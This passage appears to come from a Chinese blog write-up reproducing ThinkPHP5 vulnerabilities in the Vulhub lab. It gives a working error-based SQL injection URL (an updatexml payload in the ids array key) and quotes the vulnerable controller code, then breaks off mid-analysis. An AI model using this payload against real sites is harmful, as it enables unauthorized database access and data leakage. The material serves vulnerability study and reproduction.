Vulhub复现--ThinkPHP框架系列（一）

目录

ThinkPHP5 SQL注入漏洞/信息泄露

ThinkPHP5 5.0.23 远程代码执行漏洞

---

ThinkPHP5 SQL注入漏洞/信息泄露

环境路径：thinkphp/in-sqlinjecttion

启动环境后，根据提示访问

http://192.168.20.158/index.php?ids[]=1$ids[]=2

Exploit

http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

另外还有敏感信息的泄露

漏洞分析

漏洞代码分析

<?php
namespace app\index\controller;
use app\index\model\User;
class Index{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
}
}

由上述代码可知，这里用助手函数input定义了参数ids的类型是数组。接着去找where(‘id’, ‘in’, $ids)定义的内容，找到了最核心的方法buildWhere 和 parseWhereItem

protecte